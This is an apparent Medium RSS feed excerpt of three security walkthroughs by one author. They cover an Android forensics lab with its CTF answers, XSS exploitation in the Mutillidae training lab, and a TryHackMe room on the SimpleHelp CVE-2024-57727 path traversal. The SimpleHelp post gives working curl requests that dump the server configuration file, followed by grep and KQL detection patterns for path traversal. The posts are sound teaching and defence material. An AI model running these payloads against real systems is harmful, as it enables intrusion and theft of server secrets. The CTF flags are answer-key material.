lot of time by retrieving all the artifacts simultaneously, allowing us to triage and speed up our analysis quickly.</p><p>Explore the full report, see if we can find something interesting about the case, and answer the following questions.</p><p>Answer the questions below:</p><p>What is the name of the package found that could be used for the data exfiltration?</p><p>com.data.exfiltool</p><p>One of the MMS message indicates the website used to send the sensitive file? What is the name of that site?</p><p>MediaFire</p><p>In the contacts, what is the email address associated with the suspicious user named “Encrypted User”?</p><p><a href="/service/mailto:ghost123@tutanota.com">ghost123@tutanota.com</a></p><p>A sensitive PDF document was found on the device. Examine the document in the downloads folder. What is the flag hidden inside it?</p><p>FLAG{INSIDER_ACCESS_42X9}</p><h3>Task 7 : Framing Questions</h3><p>When examining an Android device for forensic purposes, framing the right questions is crucial to guiding the investigation, prioritizing evidence acquisition, and preserving the integrity of digital data.</p><h3>General Questions</h3><p>Every forensic examination can benefit from questions framed using the <strong>5Ws and H</strong> method:</p><ul><li><strong>Who</strong> used the device?</li><li><strong>What</strong> activity took place?</li><li><strong>When</strong> did it occur?</li><li><strong>Where</strong> was the device used?</li><li><strong>Why</strong> was the activity performed?</li><li><strong>How</strong> was the activity executed (technically)?</li></ul><h3>Scenario 1: Insider Data Theft</h3><p>Let’s assume a disgruntled employee was not promoted recently because of poor performance. He has been seen making attempts to access sensitive files, and it is doubtful that he may be sending confidential company documents to a competitor using communication apps.</p><p>Keeping this scenario in mind, we will frame the following forensic questions to be asked/looked for on his confiscated device.</p><p><strong>Forensic Questions to Frame</strong></p><ul><li>Who had access to the WhatsApp account on the device?</li><li>What documents or files were shared through the app?</li><li>When were the messages sent and received?</li><li>Which contacts were involved in the communication?</li><li>Was WhatsApp used exclusively, or were other communication apps like Telegram or Signal involved?</li><li>Were screenshots or screen recordings taken of sensitive information?</li><li>Is there any indication of deleted messages or use of “disappearing messages”?</li></ul><p><strong>Where to Find These Questions?</strong></p><p>To find the answers to these questions, we will extract and examine the following evidence:</p><ul><li>WhatsApp db</li><li>Other communication apps</li><li>Evidence of deleted messages</li><li>Chat logs</li><li>Evidence of presence / deleted communication apps, etc</li></ul><h3>Scenario 2: Visiting Malicious Websites or Engaging in Cybercrime</h3><p>An individual is suspected of accessing dark web sites for illegal transactions.</p><p><strong>Forensic Questions to Frame</strong></p><ul><li>Which browsers or apps were used to access the web (Chrome, Firefox, Tor)?</li><li>What URLs were accessed, and what was their content?</li><li>Were VPNs or proxy apps used to mask location?</li><li>Are there downloaded files or cached web content stored on the device?</li><li>When was the suspicious content accessed?</li><li>Is there evidence of cryptocurrency apps or wallets?</li></ul><p><strong>Where to Find These Questions?</strong></p><p>To find the answers to these questions, we will extract and examine the following evidence:</p><ul><li>Browser history and web activity</li><li>Web cache and downloads</li><li>Use of anonymous or privacy-focused browsers</li><li>Communication apps linked to web-based crime</li></ul><h3>Scenario 3: Malware Infection or Device Compromise</h3><p>An Android phone is suspected of being infected with spyware.</p><p><strong>Forensic Questions to Frame</strong></p><ul><li>What apps are installed? Are there any from unknown sources?</li><li>When did the suspicious activity (e.g., overheating, battery drain) occur?</li><li>Is there evidence of remote access or backdoors?</li><li>What system logs or permissions changes were recorded?</li><li>Did the device connect to unfamiliar IPs or perform data exfiltration?</li></ul><p><strong>Where to Find These Questions?</strong></p><p>To find the answers to these questions, we will extract and examine the following evidence:</p><ul><li>Installed app list and APKs</li><li>App permissions and behavior</li><li>Unknown or background-running services</li><li>Malware traces in logs and crash reports</li><li>Communication with suspicious apps</li></ul><p>In a nutshell, when investigating a forensic case involving an Android device, we need to understand what artifacts can leave the footprints of the activities related to that scenario. We identify those artifacts and examine them to find answers to the framed questions that could help solve the case. Another important thing to note is that framing the questions is important in any forensic investigation. It provides a clear direction as to what we are looking for.</p><h3>Task 8 : Recap and Conclusion</h3><p>That’s it!</p><p>In this room, we explored the Android OS, its file system, and dived deep into the analysis part, where we handpicked the artifacts and examined them. Some of the key points we covered in this room are:</p><ul><li>Android architecture</li><li>Its filesystem and how it is structured</li><li>Key artifacts and their locations</li><li>How to examine each artifact manually</li><li>How to parse and examine all artifacts at once using ALEAPP</li></ul><p>Thanks guys for reading this blog. Subscribe or follow me for more such blogs. 😊</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a840db8c9ff6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mutillidae Uncovered: Exploiting XSS for Beginners (Metasploitable 2 Lab)]]></title>
            <link>https://medium.com/@unKnOwn37/mutillidae-uncovered-exploiting-xss-for-beginners-metasploitable-2-lab-a5cb66890b89?source=rss-d9023bbefb0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/a5cb66890b89</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[web-attack]]></category>
            <dc:creator><![CDATA[Jai Bhattacharya]]></dc:creator>
            <pubDate>Sat, 17 May 2025 07:29:11 GMT</pubDate>
            <atom:updated>2025-05-17T07:29:11.601Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi guys, Today we’ll see reflected and stored xss in mutillidae lab in a Metasploitable 2 machine. So let’s understand what is XSS and its type — reflected and stored xss, there is also one more type that is DOM XSS but now in this blog we understand only these two one by one.</p><h3>What is cross-site scripting (XSS)?</h3><p>Cross-site scripting (also known as XSS) is a web security vulnerability that allows an attacker to compromise the interactions that users have with a vulnerable application. It allows an attacker to circumvent the same origin policy, which is designed to segregate different websites from each other. Cross-site scripting vulnerabilities normally allow an attacker to masquerade as a victim user, to carry out any actions that the user is able to perform, and to access any of the user’s data. If the victim user has privileged access within the application, then the attacker might be able to gain full control over all of the application’s functionality and data.</p><h3>How does XSS work?</h3><p>Cross-site scripting works by manipulating a vulnerable web site so that it returns malicious JavaScript to users. When the malicious code executes inside a victim’s browser, the attacker can fully compromise their interaction with the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*smwQbDT0rpAyxe_SKj4L8g.png" /></figure><h3>XSS proof of concept</h3><p>You can confirm most kinds of XSS vulnerability by injecting a payload that causes your own browser to execute some arbitrary JavaScript. It’s long been common practice to use the alert() function for this purpose because it&#39;s short, harmless, and pretty hard to miss when it&#39;s successfully called. In fact, you solve the majority of our XSS labs by invoking alert() in a simulated victim&#39;s browser.</p><p>Unfortunately, there’s a slight hitch if you use Chrome. From version 92 onward (July 20th, 2021), cross-origin iframes are prevented from calling alert(). As these are used to construct some of the more advanced XSS attacks, you&#39;ll sometimes need to use an alternative PoC payload. In this scenario, we recommend the print() function. If you&#39;re interested in learning more about this change and why we like print(), <a href="https://portswigger.net/research/alert-is-dead-long-live-print">check out our blog post</a> on the subject.</p><p>As the simulated victim in our labs uses Chrome, we’ve amended the affected labs so that they can also be solved using print(). We&#39;ve indicated this in the instructions wherever relevant.</p><h3>What are the types of XSS attacks?</h3><p>There are three main types of XSS attacks. These are:</p><ul><li><a href="https://portswigger.net/web-security/cross-site-scripting#reflected-cross-site-scripting">Reflected XSS</a>, where the malicious script comes from the current HTTP request.</li><li><a href="https://portswigger.net/web-security/cross-site-scripting#stored-cross-site-scripting">Stored XSS</a>, where the malicious script comes from the website’s database.</li><li><a href="https://portswigger.net/web-security/cross-site-scripting#dom-based-cross-site-scripting">DOM-based XSS</a>, where the vulnerability exists in client-side code rather than server-side code.</li></ul><h3>Reflected cross-site scripting</h3><p>Reflected XSS is the simplest variety of cross-site scripting. It arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way.</p><p>Here is a simple example of a reflected XSS vulnerability:</p><pre>https://insecure-website.com/status?message=All+is+well. &lt;p&gt;Status: All is well.&lt;/p&gt;</pre><p>The application doesn’t perform any other processing of the data, so an attacker can easily construct an attack like this:</p><pre>https://insecure-website.com/status?message=&lt;script&gt;/*+Bad+stuff+here...+*/&lt;/script&gt; &lt;p&gt;Status: &lt;script&gt;/* Bad stuff here... */&lt;/script&gt;&lt;/p&gt;</pre><p>If the user visits the URL constructed by the attacker, then the attacker’s script executes in the user’s browser, in the context of that user’s session with the application. At that point, the script can carry out any action, and retrieve any data, to which the user has access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZBZHkAs31Ec3LUZbRs0c0g.png" /></figure><p>Within Mutillidae, Reflected XSS is explored across seven dedicated labs, each offering three difficulty levels. The first two levels demonstrate practical reflected XSS vulnerabilities, providing hands-on exploitation practice. The third level in each lab is secured via backend controls, highlighting implemented defenses and mitigation techniques.</p><p>So start with DNS lookup and set security level 0 (Hosted). this is simple by injecting code into search bar like this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tcv3qsaDvQwOX5qOYwDdAw.png" /><figcaption>Then press enter</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YgESAzez63Myrs2YkVXn6A.png" /></figure><p>The pop-up confirms our payload execution in Level 1. Now, <strong>switch the lab’s difficulty setting up to Level 2 (Arrogant)</strong>. As a testing methodology, we will <strong>begin by submitting the identical payload that worked previously</strong> to identify if the backend defenses at this level are sufficient to block it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QgqCX_8x3MvsDNoRUz5GDw.png" /><figcaption>We got this error</figcaption></figure><p>To understand how our payload was handled, we need to <strong>check the response data</strong>. At this stage, a simple method is to <strong>review the HTML source code rendered by the browser</strong>. However, for a deeper dive into the request and response details, powerful tools such as <strong>Burp Suite</strong> are essential — we will cover using Burp Suite for this purpose in a subsequent lab or section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DIk9wys5WU0c0yFe1CLUDQ.png" /></figure><p>The source code review did not provide sufficient insight into the application’s input processing for Level 2. Therefore, we will proceed with a dynamic analysis using an intercepting proxy. <strong>Launch Burp Suite</strong> and configure your browser to route traffic through it. <strong>Reloading the target page</strong> will intercept the request in Burp’s Proxy tab. <strong>Send this request to Repeater</strong> to facilitate controlled modification and re-issuance for in-depth analysis.</p><p>Our initial test with <strong>&lt;script&gt;alert(1)&lt;/script&gt;</strong> in the &#39;page&#39; parameter resulted in the payload being reflected within an <strong>&lt;a&gt;</strong> tag, preventing execution. To bypass this constraint and achieve code execution, we modified the payload to include the &quot;&gt; sequence at the beginning. This effectively closes the preceding HTML attribute and tag, allowing our script injection to succeed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0u3EzY8YBYlfv3Shcomyng.png" /><figcaption>In this picture we can see that our payload successfully excludes from &lt;a&gt; tag</figcaption></figure><p>After crafting our payload within the Repeater response, we need to visualize its effect when rendered by a browser. <strong>Right-click within the Repeater Response tab and choose “Show response in browser.”</strong> This functionality in Burp Suite creates a temporary link. <strong>Copy this link and paste it into your browser’s URL bar</strong> to load the modified page. Observe if the intended XSS behavior, such as an alert box, is triggered, confirming the success of our injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iZXSLOxDRHT8cIzZIFJUIw.png" /><figcaption>We solve this lab</figcaption></figure><p>Let’s jump into <strong>Pen Test Tool Lookup</strong> lab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7V5NSwc1Xz2rlNASDyXEzA.png" /></figure><p>To intercept the request, simply <strong>reload the target page</strong> while Burp Suite is actively proxying traffic. Once the request is halted in Burp’s Proxy tab, <strong>locate the ‘page’ parameter and inject our crafted simple payload</strong> directly into its value before forwarding the request to the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FuDsfhuK-jMmbYvsl5H9ag.png" /></figure><p>Now again copy and paste the response into browser. we didn’t get any pop-up for xss because this is reflected under <strong><em>&lt;a&gt;</em></strong> tag, so add <strong><em>“&gt;</em></strong> before our payload, then try again these steps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bdk6uFRnACqv1oiqi9fF_g.png" /><figcaption>we found our xss</figcaption></figure><p><strong>Advance the security level to 2.</strong> Intercept the page request again using Burp Suite. In the intercepted request’s ‘page’ parameter, <strong>insert our payload, ensuring it is preceded by </strong><strong><em>&quot;&gt;&quot;</em>.</strong> Forward the modified request and analyze the result to see if this bypass is effective against the security controls implemented at this level.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kqjPELGSs9e38p6kZ4Kh0g.png" /><figcaption>we got our alert</figcaption></figure><p>Let’s proceed to the <strong>Text File Viewer file lab</strong>. Navigate to this section in Mutillidae and <strong>capture the resulting request</strong> using your configured Burp Suite proxy. This initial request will serve as our starting point for examining this module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*goPf6GbUfGcT5JPfnWya5g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PwZkQ-BAyO3ayRHOvHLZVA.png" /></figure><p>We can see that our name is reflected, lets copy and paste this into browser to see if pop-up arises or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dst4FmiO-SYKPhWdsFwDyg.png" /><figcaption>we got our prompt successfully</figcaption></figure><p>With the Text File Viewer lab successfully exploited, and noting the similarity of the vulnerability in Level 1 to Level 2, we’ve detailed the Level 2 (Arrogant) solution. We now <strong>move on to the User Info lab</strong> to explore its distinct scenario and potential attack surfaces.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BaUfX8zwVLn_X00zUI701w.png" /></figure><p>Here I try to capture the request by sending random data and put our payload but it didn’t work then I saw this <strong>register here </strong>function. then I try to inject here our payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xRY8YUkMudfcOnQEJgKQFw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K9fSCOA4e3LHZnBBhK3qHg.png" /><figcaption>we got our xss</figcaption></figure><p>Now increase the level and try to inject our payload here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K5WUpIiZv1G03Rrppu30_Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KV1yNL2ng6f3L57_s5-4RQ.png" /><figcaption>and we got our pop-up</figcaption></figure><p>We have now successfully completed the <strong>User Info lab</strong>. Our next target is the <strong>Set Background Color</strong> module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OtEu7Y6VdCau7mEo8GYTbg.png" /><figcaption>here I try to inject payload in this bar</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HA2B5d_FMrpjTKfLNKRM-A.png" /><figcaption>and we got our print function</figcaption></figure><p><strong>Increase the security level to the next tier</strong>. <strong>Repeat the previous injection attempt</strong> to evaluate the effectiveness of the implemented defenses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mQojSxwO-J6E_rF5mtVqDQ.png" /></figure><p>Lets move onto next lab that is <strong>HTML 5 Storage.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I71NvyFxfVKuhqY7IR85eg.png" /></figure><p>Here I encountered a frustratingly persistent error during the execution. After unsuccessful attempts to resolve it, the path forward was to <strong>reload the page and intercept the request via Burp Suite</strong>. This enabled us to <strong>inject our payload into the parameter</strong> within the captured request, circumventing the preceding issue.</p><p>The issue of payload reflection <strong>inside an </strong><strong>&lt;a&gt; tag</strong> persists in this module as well. To overcome this, we will replicate our previous successful method: <strong>prepending the </strong><strong>&quot;&gt; characters to our payload</strong> before sending the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OajB4b7rZMfOrB-wuvC_AA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P9ihDQ7FcUxEfKQf-nyxDg.png" /></figure><p>Now increase the level and try again.</p><p>And we successfully see that our payload running.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P9ihDQ7FcUxEfKQf-nyxDg.png" /></figure><p>We will now <strong>proceed to the next and final lab dedicated to Reflected Cross-Site Scripting: the Data Capture Page</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kDCDbNF8dZGsZy65YCdhNg.png" /></figure><p>The <strong>Data Capture Page</strong> deviates from prior labs by <strong>lacking a visible input field</strong>. To test for XSS, we must <strong>capture the page’s request in Burp Suite</strong>. We will then <strong>inject our payload, including the familiar </strong><strong>&quot;&gt; bypass, directly into the &#39;page&#39; parameter</strong> of the intercepted request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vkmEkAU0bVC_6Zvxsj8EpA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KEo-nNJ8dZfEc_GUhLWnsw.png" /></figure><p>Let&#39;s increase the level and finish this labs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I9cINE0JVRjBpbDAT5k9bg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jbdXdpcLMrlItubuxjudHQ.png" /></figure><p>Our work on the Reflected XSS labs is now complete. Let’s transition our focus to understanding and identifying <strong>Stored (Persistent) Cross-Site Scripting vulnerabilities.</strong></p><h3>Stored cross-site scripting</h3><p>Stored XSS (also known as persistent or second-order XSS) arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way.</p><p>The data in question might be submitted to the application via HTTP requests; for example, comments on a blog post, user nicknames in a chat room, or contact details on a customer order. In other cases, the data might arrive from other untrusted sources; for example, a webmail application displaying messages received over SMTP, a marketing application displaying social media posts, or a network monitoring application displaying packet data from network traffic.</p><p>Here is a simple example of a stored XSS vulnerability. A message board application lets users submit messages, which are displayed to other users:</p><pre>&lt;p&gt;Hello, this is my message!&lt;/p&gt;</pre><p>The application doesn’t perform any other processing of the data, so an attacker can easily send a message that attacks other users:</p><pre>&lt;p&gt;&lt;script&gt;/* Bad stuff here... */&lt;/script&gt;&lt;/p&gt;</pre><h3>Impact of stored XSS attacks</h3><p>If an attacker can control a script that is executed in the victim’s browser, then they can typically fully compromise that user. The attacker can carry out any of the actions that are applicable to the impact of <a href="https://portswigger.net/web-security/cross-site-scripting/reflected">reflected XSS vulnerabilities</a>.</p><p>In terms of exploitability, the key difference between reflected and stored XSS is that a stored XSS vulnerability enables attacks that are self-contained within the application itself. The attacker does not need to find an external way of inducing other users to make a particular request containing their exploit. Rather, the attacker places their exploit into the application itself and simply waits for users to encounter it.</p><p>The self-contained nature of stored cross-site scripting exploits is particularly relevant in situations where an XSS vulnerability only affects users who are currently logged in to the application. If the XSS is reflected, then the attack must be fortuitously timed: a user who is induced to make the attacker’s request at a time when they are not logged in will not be compromised. In contrast, if the XSS is stored, then the user is guaranteed to be logged in at the time they encounter the exploit.</p><h3>Stored XSS Labs</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*td_E-LJa9ojinUPNsCL1gw.png" /></figure><p>The Stored XSS section in Mutillidae consists of three labs, each featuring two levels of challenge. Let’s <strong>start our hands-on practice with the initial lab</strong> provided in this category.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t7ASv4yc0Y915tM0aBrVHQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pK_u0oJnwqoLOk4_PCGIaA.png" /><figcaption>we got out XSS pop-up</figcaption></figure><p>The next step is to <strong>increase the security level</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*usze_AfBWAzb_1X1ihg5pw.png" /></figure><p>We encountered a restriction: “<strong>Single-quotes are not allowed</strong>”. To proceed, we will <strong>modify our payload to eliminate all single quotes</strong> and attempt the injection again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U_avKycFB-IDy2cQisGOIg.png" /><figcaption>and we got out pop-up</figcaption></figure><p>lets move onto next lab that is <strong>View someone’s blog.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EiXWIYzAJ4PBvIzaJu1doQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SdQXhkLdoxQVtYy42PibFQ.png" /><figcaption>lets paste this response in browser</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KpvcScZhQX7a6gJz5uxZJw.png" /><figcaption>both levels are same so I move into next and last lab</figcaption></figure><p>We now move on to the <strong>Show Log lab</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yUL9MxAmKQCyD8ORFWA1vw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2T3ONnV0Qm2K9Mjv2m9yMg.png" /><figcaption>again our payload in &lt;a&gt; tag lets exclude this</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JGL6TlI-bYBS2fiZ-2Sd8Q.png" /></figure><p>In the <strong>Show Log lab</strong>, both levels feature the ‘page’ parameter as the injection point. As encountered previously, a filter excluding characters like &quot;&gt;&quot; must be bypassed to achieve successful payload execution in these levels.</p><p>The Mutillidae environment serves as an <strong>excellent resource for newcomers</strong> to web application security, providing <strong>practical scenarios and interactive functionality</strong> that simulate live sites. With the completion of this final lab, we have successfully <strong>navigated all the Reflected and Stored Cross-Site Scripting labs</strong> within the platform.</p><p>I hope you found this walkthrough informative and useful. The decision to document these labs was driven by the scarcity of detailed resources available for them. I would like to acknowledge the significant help I received from my mentor, <a href="https://www.linkedin.com/in/mayank-narware/"><strong>Mr. Mayank Narware</strong></a>, in successfully completing these labs.</p><h3><strong>Jai Bhattachhary</strong></h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a5cb66890b89" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SimpleHelp: CVE-2024–57727 : TryHackMe]]></title>
            <link>https://medium.com/@unKnOwn37/simplehelp-cve-2024-57727-tryhackme-3bea119c1c1e?source=rss-d9023bbefb0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/3bea119c1c1e</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[simplehelp]]></category>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Jai Bhattacharya]]></dc:creator>
            <pubDate>Fri, 04 Apr 2025 07:10:31 GMT</pubDate>
            <atom:updated>2025-04-04T07:10:31.795Z</atom:updated>
            <content:encoded><![CDATA[<h3>SimpleHelp: CVE-2024–57727 : TryHackMe</h3><p>Learn how attackers can exploit CVE-2024–57727 and how to detect that.</p><p>Hii guys, Today we’ll cover simpleHelp CVE-2024–57727 vulnerability. Let’s get started.</p><h3><strong>Task 1 : Introduction</strong></h3><p><a href="https://simple-help.com/">SimpleHelp</a> is a system that facilitates remote support, access, and work, among other uses. It is mainly used by IT professionals and support teams to allow them to support their users remotely. It can be installed on Linux, MS Windows, and macOS servers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ATBOnMUvXKNPQvTu.png" /></figure><p>After various vulnerabilities affecting other remote support and remote access software were discovered, Horizon3.ai was curious to check SimpleHelp’s software. In their <a href="https://www.horizon3.ai/attack-research/disclosures/critical-vulnerabilities-in-simplehelp-remote-support-software/">blog post</a>, they state to have discovered three vulnerabilities: <a href="https://nvd.nist.gov/vuln/detail/CVE-2024-57726">CVE-2024–57726</a>, <a href="https://nvd.nist.gov/vuln/detail/CVE-2024-57727">CVE-2024–57727</a>, and <a href="https://nvd.nist.gov/vuln/detail/CVE-2024-57728">CVE-2024–57728</a>:</p><ul><li>CVE-2024–57726 allows privilege escalation from a technician role to a SimpleHelp server admin role.</li><li>CVE-2024–57727 is a path traversal vulnerability that allows downloading arbitrary files, such as serverconfig.xml, from the SimpleHelp server.</li><li>CVE-2024–57728 allows a user with a SimpleHelp server admin role to upload files to the host server. In other words, users can create and upload a crontab job file to a Linux server or overwrite existing binaries on a Windows server to run programs of their choosing.</li></ul><p>In this room, we will demonstrate the exploitation and detection of CVE-2024–57727.</p><h3><strong>Task 2 : Exploitation on MS Windows</strong></h3><p>CVE-2024–57727 is a path traversal vulnerability. After <a href="https://rustlang.rs/posts/simple-help/">analysing the patch</a>, the author, “<strong>imjdl</strong>”, observed that the root cause of this vulnerability lies within the <em>respondToolboxResource()</em> method that was not inspecting the requested paths. They created a proof of concept (PoC) code in Python and published it <a href="https://github.com/imjdl/CVE-2024-57727"><strong><em>here</em></strong></a>.</p><h4>PoC for SimpleHelp on MS Windows</h4><p>On the AttackBox terminal, let’s download the PoC code using git clone https://github.com/imjdl/CVE-2024-57727. Next, we will confirm that the target VM is vulnerable by running python poc.py http://10.10.30.13. This interaction is shown in the terminal below.</p><pre>           <br>root@attackbox:~# git clone https://github.com/imjdl/CVE-2024-57727<br>Cloning into &#39;CVE-2024-57727&#39;...<br>remote: Enumerating objects: 12, done.<br>remote: Counting objects: 100% (12/12), done.<br>remote: Compressing objects: 100% (10/10), done.<br>remote: Total 12 (delta 1), reused 0 (delta 0), pack-reused 0 (from 0)<br>Receiving objects: 100% (12/12), 4.36 KiB | 4.36 MiB/s, done.<br>Resolving deltas: 100% (1/1), done.<br><br>root@attackbox:~# cd CVE-2024-57727<br><br>root@attackbox:~/CVE-2024-57727# python3 poc.py http://10.10.30.13<br>[+] http://10.10.30.13 is vulnerable<br><br>        </pre><p>Now that we have confirmed that the target VM is vulnerable, let’s obtain the server configuration file. One way to do it would be to use curl. To check the URL that the PoC used, let’s inspect poc.py. One particular line reveals the exploit.</p><pre>def send_path_traversal_request(url: str) -&gt; bool:<br># [...]<br>    url = url + &quot;/toolbox-resource/../resource1/../../configuration/serverconfig.xml&quot;<br># [...]</pre><p>The path traversal happens when the user tries to access the /toolbox-resource/. We will use the above PoC code to write our curl command.</p><pre>curl --path-as-is http://10.10.30.13/toolbox-resource/../resource1/../../configuration/serverconfig.xml</pre><p>You can notice that we added --path-as-is to the curl command. This option prevents curl from removing the ../ as part of normalising the path. Successful execution of the above command will retrieve the serverconfig.xml file.</p><p>Answer the questions below :</p><p>What is the flag hidden in flag.txt? The flag.txt file is in the same directory as serverconfig.xml.</p><p>THM{9ND23PVA}</p><h3><strong>Task 3 : Exploitation Beyond MS Windows</strong></h3><h4>PoC for SimpleHelp on Linux</h4><p>The PoC we described in the previous task works perfectly on Windows but does not work against SimpleHelp on Linux. MS Windows was more “flexible” with letting the exploit succeed even when the directory name was wrong. The same attempt against SimpleHelp hosted on a Linux system gets an empty reply from the server, as seen in the terminal below.</p><pre>           <br>root@attackbox:~# curl --path-as-is http://10.10.30.13/toolbox-resource/../resource1/../../configuration/serverconfig.xml<br>curl: (52) Empty reply from server</pre><p>An analysis written by “jheysel-r7” on <a href="https://attackerkb.com/topics/G4CTOrbDx0/cve-2024-57727">AttackerKB</a> offered details on how to make it work against Linux hosts. In particular, we need to replace the resource1 with a valid directory name, such as secmsg, in the fetched URL, <em>http://10.10.30.13/toolbox-resource/../resource1/../../configuration/serverconfig.xml</em>. By repeating the same curl command after replacing the resource1 directory name, we get a successful dump of the serverconfig.xml file. An example is shown in the terminal below.</p><pre><br><br>           <br>root@attackbox:~# curl --path-as-is http://10.10.30.13/toolbox-resource/../secmsg/../../configuration/serverconfig.xml<br>&lt;SimpleSuite v=&quot;5.5.5&quot; s=&quot;cqwXJ6wwajhfi7+Ouq2tbV8cS6tgHcnwWA==&quot;&gt;<br>        &lt;ServerFeatures&gt;<br>                &lt;RemoteAccess&gt;on&lt;/RemoteAccess&gt;<br>                &lt;RemoteSupport&gt;on&lt;/RemoteSupport&gt;<br>                &lt;Presentation&gt;on&lt;/Presentation&gt;<br>                &lt;MobileAccess&gt;on&lt;/MobileAccess&gt;<br>                &lt;RemoteWork&gt;on&lt;/RemoteWork&gt;<br>[...]</pre><p>Other valid directory names are also available. We listed the directories in the terminal below.</p><pre>root@tryhackme:~# tree -L 1 -d<br>.<br>├── alertsdb<br>├── backups<br>├── branding<br>├── history<br>├── html<br>├── notifications<br>├── recordings<br>├── remotework<br>├── secmsg<br>├── simulations<br>├── sslconfig<br>├── techprefs<br>├── templates<br>├── toolbox<br>├── toolbox-resources<br>└── translations<br><br>17 directories</pre><p>Answer the questions below :</p><p>What is the flag hidden in flag.txt? The flag.txt file is in the same directory as serverconfig.xml.</p><p>THM{X8733EEZ}</p><h3><strong>Task 4 : Detection</strong></h3><p>Recall from the previous tasks that CVE-2024–57727 for SimpleHelp is a path traversal vulnerability. In this task, you will learn how to detect the abuse of this vulnerability using a variety of tooling. For detection, we will be looking for signs of path traversal taking place in the web server logs (for example, Apache2, Nginx, etc).</p><h4>Manually</h4><p>Grep, with a regular expression, can be used to search web server logs. The following regex searches the log files for:</p><ul><li>Syntax indicating directory traversal (./ &amp; ../)</li><li>The URL-encoded version of the syntax above (\%2e\%2e/)</li></ul><p>grep -E &quot;(\.\./|\%2e\%2e/)&quot; /var/log/nginx/access.log</p><p>Attackers often utilise URL-encoded syntax to help bypass security and detection mechanisms. An example of grep being used has been attached below:</p><p>Using Grep to search logs for path traversal:</p><pre>user@tryhackme$ grep -E &quot;(\.\./|\%2e\%2e|%252e%252e)&quot; /var/log/nginx/access.log<br>77.198.212.145 - - [03/Mar/2025:12:34:56 +0000] &quot;GET /../../etc/passwd HTTP/1.1&quot; 200 -<br>80.82.109.166 - - [04/Mar/2025:17:12:10 +0000] &quot;GET /%2e%2e/%2e%2e/%2e%2e/etc/shadow HTTP/1.1&quot; 200 -</pre><h4>ELK</h4><p>If the web server logs are being ingested into a SIEM such as ELK, the following KQL query can be used to query for path traversal using the same regex pattern covered above: http.request.uri.path: (*../* or *%2e%2e* or *%252e%252e*)</p><p>Additionally, the following detection rule can be created, replacing “<strong>webserver.dataset</strong>” with the relevant log source: 